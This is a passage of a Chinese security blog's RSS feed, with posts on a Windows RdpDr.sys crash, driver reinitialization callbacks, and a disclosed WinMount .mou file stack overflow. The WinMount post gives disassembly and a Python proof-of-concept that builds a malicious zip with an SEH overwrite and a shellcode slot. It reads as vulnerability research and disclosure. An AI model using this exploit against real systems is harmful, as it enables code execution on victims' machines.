Reverse the f**king *!</li><li><a href="http://www.softrce.net/archives/320">2010年08月8日</a>, <a href='http://citypw.blogspot.com' rel='external nofollow' class='url'>Shawn</a> writes: Lewis啥时候发货?等不急了...........</li><li><a href="http://www.softrce.net/archives/320">2010年09月3日</a>, <a href='http://citypw.blogspot.com' rel='external nofollow' class='url'>Shawn</a> writes: 这衣服不错,如果还要印的话说一声,估计这边还有人要买.</li><li><a href="http://www.softrce.net/archives/320">2010年09月9日</a>, <a href='http://blog.5hoo.com' rel='external nofollow' class='url'>阿木</a> writes: 围观黑客</li><li><a href="http://www.softrce.net/archives/320">2010年09月9日</a>, <a href='http://blog.5hoo.com' rel='external nofollow' class='url'>阿木</a> writes: 兄台交换个链接吧！！http://blog.5hoo.com</li><li><a href="http://www.softrce.net/archives/320">2010年09月9日</a>, <a href='http://yoryu.97fish.com/' rel='external nofollow' class='url'>悠语</a> writes: 写的很好，关注~~！</li></ul><hr /><h2>Related posts:</h2><ul><li><a href="http://www.softrce.net/archives/1" rel="bookmark" title="Permanent Link: SoftRCE再次回归上线">SoftRCE再次回归上线</a></li><li><a href="http://www.softrce.net/archives/23" rel="bookmark" title="Permanent Link: SoftRCE的Mail Server开通了！">SoftRCE的Mail Server开通了！</a></li><li><a href="http://www.softrce.net/archives/126" rel="bookmark" title="Permanent Link: [玩笑]某人不是会坐在被告席上吧？">[玩笑]某人不是会坐在被告席上吧？</a></li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2011年04月8日 -- <a href="http://www.softrce.net/archives/381" title="Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability">Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability</a></li><li>2008年10月19日 -- <a href="http://www.softrce.net/archives/13" title="[POC]基于IO Packet隐藏文件和注册表，过磁盘解析和总线解析">[POC]基于IO Packet隐藏文件和注册表，过磁盘解析和总线解析</a></li><li>2011年03月21日 -- <a href="http://www.softrce.net/archives/369" title="QQplayer Memory Corruption Vulnerability">QQplayer Memory Corruption Vulnerability</a></li><li>2009年04月30日 -- <a href="http://www.softrce.net/archives/83" title="中国游戏中心游戏大厅ActiveX远程栈溢出漏洞">中国游戏中心游戏大厅ActiveX远程栈溢出漏洞</a></li><li>2010年09月13日 -- <a href="http://www.softrce.net/archives/337" title="金山毒霸2011内核溢出漏洞">金山毒霸2011内核溢出漏洞</a></li><li>2008年11月16日 -- <a href="http://www.softrce.net/archives/19" title="[转载]在英特尔软件网络博客上看到的">[转载]在英特尔软件网络博客上看到的</a></li><li>2010年01月12日 -- <a href="http://www.softrce.net/archives/213" title="MS07-014调试手记">MS07-014调试手记</a></li><li>2010年05月12日 -- <a href="http://www.softrce.net/archives/312" title="RdpDr.sys Bug Check 0X7E{0xC0000005}">RdpDr.sys Bug Check 0X7E{0xC0000005}</a></li><li>2010年02月21日 -- <a href="http://www.softrce.net/archives/256" title="Step deeply into NDIS6 LightWeight Filter, part 1">Step deeply into NDIS6 LightWeight Filter, part 1</a></li><li>2009年05月15日 -- <a href="http://www.softrce.net/archives/136" title="ActiveX 控件组件的Fuzz和利用">ActiveX 控件组件的Fuzz和利用</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/320/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>RdpDr.sys Bug Check 0X7E{0xC0000005}</title>
		<link>http://www.softrce.net/archives/312</link>
		<comments>http://www.softrce.net/archives/312#comments</comments>
		<pubDate>Wed, 12 May 2010 12:54:49 +0000</pubDate>
		<dc:creator>eaglenet</dc:creator>
				<category><![CDATA[独孤九剑（Kernel）]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=312</guid>
		<description><![CDATA[公司测试组反馈一个BSOD，上下文如下 WARNING: Frame IP not in any known module. Following frames may be wrong. a99fd26c f6bdcd93 8591ec78 8591ec78 8591ec78 0&#215;0 a99fd284 f6bdd187 8591ec78 8591ec78 859ca8e0 rdpdr!RxLowIoCompletionTail+0&#215;33 a99fd298 f6bc0d2a 8591ec78 a99fd2c8 f6bc10a9 rdpdr!RxLowIoCompletion+0x3f a99fd2a4 f6bc10a9 8591ec78 00000000 00000016 rdpdr!DrDevice::CompleteRxContext+0x2a a99fd2c8 f6bb834d a99fd30c 00000000 00000016 rdpdr!DrDevice::CompleteBusyExchange+0x4d a99fd2f8 f6bc1991 e1370000 856222d8 a99fd370 rdpdr!DrDrive::OnQueryFileInfoCompletion+0x2a5 a99fd31c f6bbe6f9 e1370000 0000002a a99fd370 [...]]]></description>
			<content:encoded><![CDATA[<p><span id="more-312"></span>
<div>公司测试组反馈一个BSOD，上下文如下</div>
<div>
<div>WARNING: Frame IP not in any known module. Following frames may be wrong.</div>
<div>a99fd26c f6bdcd93 8591ec78 8591ec78 8591ec78 0&#215;0</div>
<div>a99fd284 f6bdd187 8591ec78 8591ec78 859ca8e0 rdpdr!RxLowIoCompletionTail+0&#215;33</div>
<div>a99fd298 f6bc0d2a 8591ec78 a99fd2c8 f6bc10a9 rdpdr!RxLowIoCompletion+0x3f</div>
<div>a99fd2a4 f6bc10a9 8591ec78 00000000 00000016 rdpdr!DrDevice::CompleteRxContext+0x2a</div>
<div>a99fd2c8 f6bb834d a99fd30c 00000000 00000016 rdpdr!DrDevice::CompleteBusyExchange+0x4d</div>
<div>a99fd2f8 f6bc1991 e1370000 856222d8 a99fd370 rdpdr!DrDrive::OnQueryFileInfoCompletion+0x2a5</div>
<div>a99fd31c f6bbe6f9 e1370000 0000002a a99fd370 rdpdr!DrDevice::OnDeviceIoCompletion+0xa9</div>
<div>a99fd33c f6bbe8b6 e1370000 0000002a a99fd370 rdpdr!DrExchangeManager::OnDeviceIoCompletion+0&#215;55</div>
<div>a99fd350 f6bbf543 e1370000 0000002a a99fd370 rdpdr!DrExchangeManager::HandlePacket+0&#215;26</div>
<div>a99fd37c f6bbee66 00000000 858481c3 85848150 rdpdr!DrSession::ReadCompletion+0xc5</div>
<div>a99fd394 804f26c0 00000000 85848150 85945c80 rdpdr!DrSession::ReadCompletionRoutine+0&#215;38</div>
<div>a99fd3c4 f7723864 85498628 00000000 e11cc008 nt!IopfCompleteRequest+0xa2</div>
<div>a99fd400 f772446b 85498628 00000005 00000000 termdd!IcaChannelInputInternal+0x1f4</div>
<div>a99fd428 a968b94e 85aa2fbc 00000005 00000000 termdd!IcaChannelInput+0&#215;41</div>
<div>a99fd45c a9685b25 e11cc008 00590e06 00000032 RDPWD!WDW_OnDataReceived+0&#215;180</div>
<div>a99fd484 a9685949 e11cc82c e11ce12c a99fd400 RDPWD!SM_MCSSendDataCallback+0x12d</div>
<div>a99fd4ec a9685770 00000045 a99fd524 0000004c RDPWD!HandleAllSendDataPDUs+0&#215;155</div>
<div>a99fd508 a9684632 00000045 a99fd524 806e7900 RDPWD!RecognizeMCSFrame+0&#215;32</div>
<div>a99fd530 f7727625 e11cc008 00000000 85590e38 RDPWD!MCSIcaRawInput+0x32c</div>
<div>a99fd550 f79ec1e5 85535504 00000000 85590dec termdd!IcaRawInput+0&#215;53</div>
<div>a99fdd90 f772622f 85590ca0 00000000 855acda8 TDTCP!TdInputThread+0x36f</div>
<div>a99fddac 805d0f72 85665950 00000000 00000000 termdd!_IcaDriverThread+0&#215;51</div>
<div>a99fdddc 805470ee f77261de 85463180 00000000 nt!PspSystemThreadStartup+0&#215;34</div>
<div>00000000 00000000 00000000 00000000 00000000 nt!KiThreadStartup+0&#215;16</div>
</div>
<div>触发行为：</div>
<div>3389连接到测试机器上，拷贝文件到测试机，测试机器直接蓝屏</div>
<div>原因：</div>
<div>MS的rdpdr本身就有一个BUG，不能处理以异步方式查询文件信息的IRP。如果上层传来一个异步查询信息的IRP，就会导致这个BSOD。这个BUG</div>
<div>直到VISTA才修补。</div>
<div>解决方法：</div>
<div>在自己初始化IRP的地方设置Irp-&gt;Flags = <span style="font-family: monospace;line-height: normal">IRP_SYNCHRONOUS_API;把IRP标志为同步IRP即可</span></div>
<div><span style="font-family: monospace;line-height: normal"><br />
</span></div>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/312">2010年05月12日</a>, 玄风残翼 writes: 我是来顶你的。</li><li><a href="http://www.softrce.net/archives/312">2010年08月6日</a>, pk8995 writes: 我X，我也碰到这事了。
必须用同步的才行，原来是个BUG……</li><li><a href="http://www.softrce.net/archives/312">2011年01月18日</a>, kkmylove writes: 留个名 顶</li></ul><hr /><h2>Related posts:</h2><ul><li><a href="http://www.softrce.net/archives/12" rel="bookmark" title="Permanent Link: About Handling Nmi">About Handling Nmi</a></li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2008年11月16日 -- <a href="http://www.softrce.net/archives/19" title="[转载]在英特尔软件网络博客上看到的">[转载]在英特尔软件网络博客上看到的</a></li><li>2009年04月30日 -- <a href="http://www.softrce.net/archives/83" title="中国游戏中心游戏大厅ActiveX远程栈溢出漏洞">中国游戏中心游戏大厅ActiveX远程栈溢出漏洞</a></li><li>2009年02月1日 -- <a href="http://www.softrce.net/archives/23" title="SoftRCE的Mail Server开通了！">SoftRCE的Mail Server开通了！</a></li><li>2010年08月3日 -- <a href="http://www.softrce.net/archives/320" title="SoftRCE官方T恤开始订购了~">SoftRCE官方T恤开始订购了~</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/114" title="Symbian S60 3rd Reverse CrAcKiNg Tutorial">Symbian S60 3rd Reverse CrAcKiNg Tutorial</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/100" title="暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞">暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞</a></li><li>2011年04月8日 -- <a href="http://www.softrce.net/archives/381" title="Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability">Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability</a></li><li>2009年05月16日 -- <a href="http://www.softrce.net/archives/140" title="静态分析驱动的一点技巧">静态分析驱动的一点技巧</a></li><li>2010年02月10日 -- <a href="http://www.softrce.net/archives/217" title="How to adjust the Ace of device object">How to adjust the Ace of device object</a></li><li>2010年01月12日 -- <a href="http://www.softrce.net/archives/213" title="MS07-014调试手记">MS07-014调试手记</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/312/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>IoRegisterDriverReinitialization 和IoRegisterBootDriverReinitialization</title>
		<link>http://www.softrce.net/archives/310</link>
		<comments>http://www.softrce.net/archives/310#comments</comments>
		<pubDate>Fri, 07 May 2010 14:06:55 +0000</pubDate>
		<dc:creator>eaglenet</dc:creator>
				<category><![CDATA[未分类]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=310</guid>
		<description><![CDATA[谁能告诉我下这两个函数注册的回调函数当时所处的系统环境到底有多么细小的区别？ 除开DDK中说的那些 我遇到了一个BSOD，SESSION5_INITIALIZATION_FAILED。现在已经解决，但是解决的是稀里糊涂。 哪位兄弟姐妹能指点下迷经？ Comments2010年06月6日, yeluosong writes: 绕过主动防御的代码注入方法一点思考 思路实在是太妙了：） 不知道这两个函数当时所处的系统环境这个问题楼主弄明白没，说下我的看法：） IoRegisterBootDriverReinitialization所注册的回调例程执行时机是在系统引导之时，所有boot型驱动加载完之后，执行的。那时内核已经加载，但尚未初始化。 IoRegisterDriverReinitialization所注册的回调例程执行时机有两处，其中一处是scm利用zw咯ader（）加载驱动时调用，另一处是在系统初始化phase3调用Copyright &#169; 2008 This feed is for personal, non-commercial use only. The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint: [...]]]></description>
			<content:encoded><![CDATA[<p>谁能告诉我下这两个函数注册的回调函数当时所处的系统环境到底有多么细小的区别？ 除开DDK中说的那些</p>
<p>我遇到了一个BSOD，SESSION5_INITIALIZATION_FAILED。现在已经解决，但是解决的是稀里糊涂。</p>
<p>哪位兄弟姐妹能指点下迷经？</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/310">2010年06月6日</a>, yeluosong writes: 绕过主动防御的代码注入方法一点思考
思路实在是太妙了：）

不知道这两个函数当时所处的系统环境这个问题楼主弄明白没，说下我的看法：）
IoRegisterBootDriverReinitialization所注册的回调例程执行时机是在系统引导之时，所有boot型驱动加载完之后，执行的。那时内核已经加载，但尚未初始化。
IoRegisterDriverReinitialization所注册的回调例程执行时机有两处，其中一处是scm利用zw咯ader（）加载驱动时调用，另一处是在系统初始化phase3调用</li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2009年05月30日 -- <a href="http://www.softrce.net/archives/189" title="基于NDIS Filter 抓包">基于NDIS Filter 抓包</a></li><li>2009年02月1日 -- <a href="http://www.softrce.net/archives/23" title="SoftRCE的Mail Server开通了！">SoftRCE的Mail Server开通了！</a></li><li>2008年10月22日 -- <a href="http://www.softrce.net/archives/15" title="构造无人之境: Exploiting Realtek RTL8139单芯片以太网控制器">构造无人之境: Exploiting Realtek RTL8139单芯片以太网控制器</a></li><li>2008年09月29日 -- <a href="http://www.softrce.net/archives/9" title="文章预告：Exploiting Windows Device Drivers">文章预告：Exploiting Windows Device Drivers</a></li><li>2008年11月16日 -- <a href="http://www.softrce.net/archives/18" title="今天又地震～～">今天又地震～～</a></li><li>2009年05月16日 -- <a href="http://www.softrce.net/archives/140" title="静态分析驱动的一点技巧">静态分析驱动的一点技巧</a></li><li>2008年10月19日 -- <a href="http://www.softrce.net/archives/14" title="Vista Bootmgr/Winload使用的大部分选项ID">Vista Bootmgr/Winload使用的大部分选项ID</a></li><li>2010年03月11日 -- <a href="http://www.softrce.net/archives/296" title="Think Different">Think Different</a></li><li>2010年02月10日 -- <a href="http://www.softrce.net/archives/217" title="How to adjust the Ace of device object">How to adjust the Ace of device object</a></li><li>2008年10月9日 -- <a href="http://www.softrce.net/archives/11" title="About the SMM rootkit">About the SMM rootkit</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/310/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WinMount mou文件格式溢出漏洞分析</title>
		<link>http://www.softrce.net/archives/302</link>
		<comments>http://www.softrce.net/archives/302#comments</comments>
		<pubDate>Wed, 21 Apr 2010 11:55:42 +0000</pubDate>
		<dc:creator>dge</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>
		<category><![CDATA[漏洞分析]]></category>

		<guid isPermaLink="false">http://www.softrce.net/archives/302</guid>
		<description><![CDATA[前段时间发现的一个WinMount的漏洞并报给了WinMount，WinMount更新了，所以发布出来。

影响产品:WinMount 3.3.0401

WinMount在处理其mou私有格式的时候存在超长文件名溢出漏洞，并且可以绕过GS,SAFESEH成功利用。]]></description>
			<content:encoded><![CDATA[<p>Author：dge</p>
<p>前段时间发现的一个WinMount的漏洞并报给了WinMount，WinMount更新了，所以发布出来。</p>
<p>影响产品:WinMount 3.3.0401</p>
<p>WinMount在处理其mou私有格式的时候存在超长文件名溢出漏洞，这个漏洞存在于7z.dll中，并且可以绕过GS,SAFESEH成功利用。<span id="more-302"></span></p>
<p>由于WinMount对mou格式的特殊处理机制导致这个漏洞并不需要通过欺骗点击的方式来触发，只要你在电脑里看到这个精心构造的恶意mou文件，就能触发这个漏洞。</p>
<p>分析：<br />
.text:100B5460 vul_            proc near               ; CODE XREF: sub_100B64B0+2EEp<br />
.text:100B5460<br />
.text:100B5460 var_214         = dword ptr -214h<br />
.text:100B5460 var_210         = dword ptr -210h<br />
.text:100B5460 buf_20c         = byte ptr -20Ch<br />
.text:100B5460 arg_0           = dword ptr  4<br />
.text:100B5460 arg_4           = dword ptr  8<br />
.text:100B5460 arg_8           = dword ptr  0Ch<br />
.text:100B5460 arg_C           = dword ptr  10h<br />
.text:100B5460 arg_10          = dword ptr  14h<br />
.text:100B5460 arg_14          = dword ptr  18h<br />
.text:100B5460 arg_18          = dword ptr  1Ch<br />
.text:100B5460<br />
.text:100B5460                 sub     esp, 214h<br />
.text:100B5466                 mov     eax, dword_10101D2C<br />
.text:100B546B                 xor     eax, esp<br />
.text:100B546D                 mov     dword ptr [esp+214h+buf_20c+208h], eax<br />
.text:100B5474                 mov     ecx, [esp+214h+arg_18]<br />
.text:100B547B                 mov     edx, [esp+214h+arg_4]<br />
.text:100B5482                 mov     eax, [esp+214h+arg_C]<br />
.text:100B5489                 push    ebx<br />
.text:100B548A                 push    ebp<br />
.text:100B548B                 mov     ebp, [esp+21Ch+arg_0]<br />
.text:100B5492                 push    esi<br />
.text:100B5493                 mov     esi, [esp+220h+arg_8]<br />
.text:100B549A                 push    edi<br />
.text:100B549B                 mov     [esp+224h+var_214], ecx<br />
.text:100B549F                 push    edx<br />
.text:100B54A0                 lea     ecx, [ebp+58h]<br />
.text:100B54A3                 mov     [esp+228h+var_210], eax<br />
.text:100B54A7                 call    sub_100B5260<br />
.text:100B54AC                 mov     edi, [eax]<br />
.text:100B54AE                 mov     byte ptr [esi+6Ch], 1<br />
.text:100B54B2                 mov     eax, [edi+26h]<br />
.text:100B54B5                 mov     [esi+20h], eax<br />
.text:100B54B8                 mov     eax, [edi+2Ah]<br />
.text:100B54BB                 xor     ebx, ebx<br />
.text:100B54BD                 cmp     eax, ebx<br />
.text:100B54BF                 jz      short loc_100B54D0<br />
.text:100B54C1                 cmp     eax, 0FFFFFFFFh<br />
.text:100B54C4                 jz      short loc_100B54D0<br />
.text:100B54C6                 mov     byte ptr [esi+6Bh], 1<br />
.text:100B54CA                 mov     ecx, [edi+2Ah]<br />
.text:100B54CD                 mov     [esi+24h], ecx<br />
.text:100B54D0<br />
.text:100B54D0 loc_100B54D0:                           ; CODE XREF: vul_vul+5Fj<br />
.text:100B54D0                                         ; vul_vul+64j<br />
.text:100B54D0                 cmp     [edi+0Eh], ebx<br />
.text:100B54D3                 ja      short loc_100B54DA<br />
.text:100B54D5                 cmp     [edi+0Ah], ebx<br />
.text:100B54D8                 jbe     short loc_100B54DE<br />
.text:100B54DA<br />
.text:100B54DA loc_100B54DA:                           ; CODE XREF: vul_vul+73j<br />
.text:100B54DA                 mov     al, 1<br />
.text:100B54DC                 jmp     short loc_100B54E0<br />
.text:100B54DE ; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
.text:100B54DE<br />
.text:100B54DE loc_100B54DE:                           ; CODE XREF: vul_vul+78j<br />
.text:100B54DE                 xor     al, al<br />
.text:100B54E0<br />
.text:100B54E0 loc_100B54E0:                           ; CODE XREF: vul_vul+7Cj<br />
.text:100B54E0                 test    byte ptr [esi+20h], 10h<br />
.text:100B54E4                 mov     [esi+68h], al<br />
.text:100B54E7                 setnbe  dl<br />
.text:100B54EA                 mov     [esi+69h], dl<br />
.text:100B54ED                 mov     [esi+6Ah], bl<br />
.text:100B54F0                 mov     eax, [edi+1Ah]<br />
.text:100B54F3                 mov     ecx, [edi+1Eh]<br />
.text:100B54F6                 mov     edx, eax<br />
.text:100B54F8                 or      edx, ecx<br />
.text:100B54FA                 jz      short loc_100B5512<br />
.text:100B54FC                 add     eax, [esp+224h+arg_10]<br />
.text:100B5503                 adc     ecx, [esp+224h+arg_14]<br />
.text:100B550A                 mov     [esi+60h], eax<br />
.text:100B550D                 mov     [esi+64h], ecx<br />
.text:100B5510                 jmp     short loc_100B5518<br />
.text:100B5512 ; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
.text:100B5512<br />
.text:100B5512 loc_100B5512:                           ; CODE XREF: vul_vul+9Aj<br />
.text:100B5512                 mov     [esi+60h], ebx<br />
.text:100B5515                 mov     [esi+64h], ebx<br />
.text:100B5518<br />
.text:100B5518 loc_100B5518:                           ; CODE XREF: vul_vul+B0j<br />
.text:100B5518                 push    206h            ; size_t<br />
.text:100B551D                 lea     ecx, [esp+228h+buf_20c+2]<br />
.text:100B5521                 xor     eax, eax<br />
.text:100B5523                 push    ebx             ; int<br />
.text:100B5524                 push    ecx             ; void *<br />
.text:100B5525                 mov     word ptr [esp+230h+buf_20c], ax<br />
.text:100B552A                 call    _memset<br />
.text:100B552F                 add     esp, 0Ch<br />
.text:100B5532                 push    edi             ; int<br />
.text:100B5533                 lea     edx, [esp+228h+buf_20c]<br />
.text:100B5537                 push    edx             ; dst_string<br />
.text:100B5538                 push    ebp             ; int<br />
.text:100B5539                 call    sub_100B3F90    ;</p>
<p>跟进去</p>
<p>.text:100B3F90 ; int __stdcall sub_100B3F90(int, LPWSTR dst_string, int)<br />
.text:100B3F90 sub_100B3F90    proc near               ; CODE XREF: sub_100B3F90+25p<br />
.text:100B3F90                                         ; vul_vul+D9p<br />
.text:100B3F90<br />
.text:100B3F90 arg_0           = dword ptr  4<br />
.text:100B3F90 dst_string      = dword ptr  8<br />
.text:100B3F90 arg_8           = dword ptr  0Ch<br />
.text:100B3F90<br />
.text:100B3F90                 push    ebx<br />
.text:100B3F91                 mov     ebx, [esp+4+arg_8]<br />
.text:100B3F95                 mov     eax, [ebx+5Ch]<br />
.text:100B3F98                 push    esi<br />
.text:100B3F99                 mov     esi, [esp+8+dst_string]<br />
.text:100B3F9D                 push    edi<br />
.text:100B3F9E                 mov     edi, ds:lstrcatW<br />
.text:100B3FA4                 test    eax, eax<br />
.text:100B3FA6                 jz      short loc_100B3FC2<br />
.text:100B3FA8                 cmp     dword ptr [eax+56h], 0FFFFFFFFh<br />
.text:100B3FAC                 jz      short loc_100B3FC2<br />
.text:100B3FAE                 push    eax             ; int<br />
.text:100B3FAF                 mov     eax, [esp+10h+arg_0]<br />
.text:100B3FB3                 push    esi             ; dst_string<br />
.text:100B3FB4                 push    eax             ; int<br />
.text:100B3FB5                 call    sub_100B3F90<br />
.text:100B3FBA                 push    offset String2  ; “\\”<br />
.text:100B3FBF                 push    esi             ; lpString1<br />
.text:100B3FC0                 call    edi ; lstrcatW<br />
.text:100B3FC2<br />
.text:100B3FC2 loc_100B3FC2:                           ; CODE XREF: sub_100B3F90+16j<br />
.text:100B3FC2                                         ; sub_100B3F90+1Cj<br />
.text:100B3FC2                 mov     ecx, [ebx+52h]<br />
.text:100B3FC5                 push    ecx             ; lpString2<br />
.text:100B3FC6                 push    esi             ; lpString1<br />
.text:100B3FC7                 call    edi ; lstrcatW  ; 溢出<br />
.text:100B3FC9                 pop     edi<br />
.text:100B3FCA                 pop     esi<br />
.text:100B3FCB                 pop     ebx<br />
.text:100B3FCC                 retn    0Ch<br />
.text:100B3FCC sub_100B3F90    endp</p>
<p>接下来会继续调用下边这个函数</p>
<p>.text:100209C0 access_         proc near               ; CODE XREF: sub_10020AE0+6Cp<br />
.text:100209C0                                         ; sub_10021060+105p &#8230;<br />
.text:100209C0<br />
.text:100209C0 p_string        = dword ptr  4<br />
.text:100209C0<br />
.text:100209C0                 push    ebx<br />
.text:100209C1                 mov     ebx, ecx<br />
.text:100209C3                 mov     eax, [ebx]<br />
.text:100209C5                 push    esi<br />
.text:100209C6                 xor     ecx, ecx<br />
.text:100209C8                 push    edi<br />
.text:100209C9                 mov     edi, [esp+0Ch+p_string]<br />
.text:100209CD                 mov     dword ptr [ebx+4], 0<br />
.text:100209D4                 mov     [eax], cx<br />
.text:100209D7                 xor     esi, esi<br />
.text:100209D9                 cmp     [edi], cx<br />
.text:100209DC                 jz      short loc_100209E7<br />
.text:100209DE                 mov     edi, edi<br />
.text:100209E0<br />
.text:100209E0 loc_100209E0:                           ; CODE XREF: access_+25j<br />
.text:100209E0                 inc     esi<br />
.text:100209E1                 cmp     [edi+esi*2], cx ; 可以制造出内存读异常&#8212;&gt;绕过GS<br />
.text:100209E5                 jnz     short loc_100209E0<br />
.text:100209E7<br />
.text:100209E7 loc_100209E7:                           ; CODE XREF: access_+1Cj<br />
.text:100209E7                 push    esi<br />
.text:100209E8                 mov     ecx, ebx<br />
.text:100209EA                 call    sub_10002F90<br />
.text:100209EF                 mov     ecx, [ebx]<br />
.text:100209F1                 mov     edx, edi<br />
.text:100209F3<br />
.text:100209F3 loc_100209F3:                           ; CODE XREF: access_+42j<br />
.text:100209F3                 movzx   eax, word ptr [edx]<br />
.text:100209F6                 mov     [ecx], ax<br />
.text:100209F9                 add     ecx, 2<br />
.text:100209FC                 add     edx, 2<br />
.text:100209FF                 test    ax, ax<br />
.text:10020A02                 jnz     short loc_100209F3<br />
.text:10020A04                 pop     edi<br />
.text:10020A05                 mov     [ebx+4], esi<br />
.text:10020A08                 pop     esi<br />
.text:10020A09                 mov     eax, ebx<br />
.text:10020A0B                 pop     ebx<br />
.text:10020A0C                 retn    4<br />
.text:10020A0C access_         endp</p>
<p>POC:</p>
<p>用这个脚本产生test.zip，再借助WinMount生成test.mou文件。</p>
<p>import os</p>
<p>sploitfile=”test.zip”<br />
ldf_header =(&#8216;\x50\x4B\x03\x04\x14\x00\x00&#8242;<br />
&#8216;\x00\x08\x00\xB7\xAC\xCE\x34\x00\x00\x00&#8242;<br />
&#8216;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#8242;<br />
&#8216;\xd0\xff&#8217;<br />
&#8216;\x00\x00\x00&#8242;)<br />
cdf_header = (“\x50\x4B\x01\x02\x14\x00\x14&#8243;<br />
“\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00&#8243;<br />
“\x00\x00\x00\x00\x00\x00\x00\x00\x00&#8243;<br />
“\xd0\xff”<br />
“\x00\x00\x00\x00\x00\x00\x01\x00&#8243;<br />
“\x24\x00\x00\x00\x00\x00\x00\x00&#8243;)<br />
eofcdf_header = (“\x50\x4B\x05\x06\x00\x00\x00&#8243;<br />
“\x00\x01\x00\x01\x00&#8243;<br />
“\xfe\xff\x00\x00&#8243;<br />
“\xee\xff\x00\x00&#8243;<br />
“\x00\x00&#8243;)<br />
print ”[+] Preparing payload\n”<br />
size=65484<br />
junk=&#8217;A'*420<br />
nseh=&#8217;\x89\x8a\x8b\x8c&#8217;<br />
seh=&#8217;\x84\x5b\xac\x8d&#8217;<br />
junk_=&#8217;A'*33<br />
jumpto=&#8217;\x05\x12\x11\x46\x2d\x11\x11\x46\x50\x46\xac\xe4&#8242;#make eax point to shellcode and jump to shellcode<br />
shellcode=(“the shellcode here will be changed into unicode”)#encode by alpha2<br />
junk__=&#8217;B'*80<br />
last=&#8217;C'*(size-420-len(nseh+seh+junk_+jumpto+junk__+shellcode))<br />
payload=junk+nseh+seh+junk_+jumpto+junk__+shellcode+last+”.wav”<br />
evilzip = ldf_header+payload+cdf_header+payload+eofcdf_header<br />
print ”[+] Removing old zip file\n”<br />
os.system(“del ”+sploitfile)<br />
print ”[+] Writing payload to file\n”<br />
fobj=open(sploitfile,”w”,0)<br />
fobj.write(evilzip)<br />
print ”generate zip file ”+(sploitfile)<br />
fobj.close()<br />
print &#8217;[+] Wrote %d bytes to file sploitfile\n&#8217;%(len(evilzip))<br />
print ”[+] Payload length :%d \n”%(len(payload))</p>
<p>EOF</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/302">2010年05月1日</a>, Cyg07 writes: nx~顶了</li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small>  
<div class="wp_license">
<p><a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/3.0/"><img src="http://i.creativecommons.org/l/by-nc-nd/3.0/88x31.png" alt="Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported" class="alignleft" style="margin-top:4px;" />
</a>This work  is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/3.0/">Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported</a>.</p>
</div><h3  class="related_post_title">相关阅读</h3><ul class="related_post"><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/100" title="暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞">暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/96" title="暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li><li>2009年04月30日 -- <a href="http://www.softrce.net/archives/83" title="中国游戏中心游戏大厅ActiveX远程栈溢出漏洞">中国游戏中心游戏大厅ActiveX远程栈溢出漏洞</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/302/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
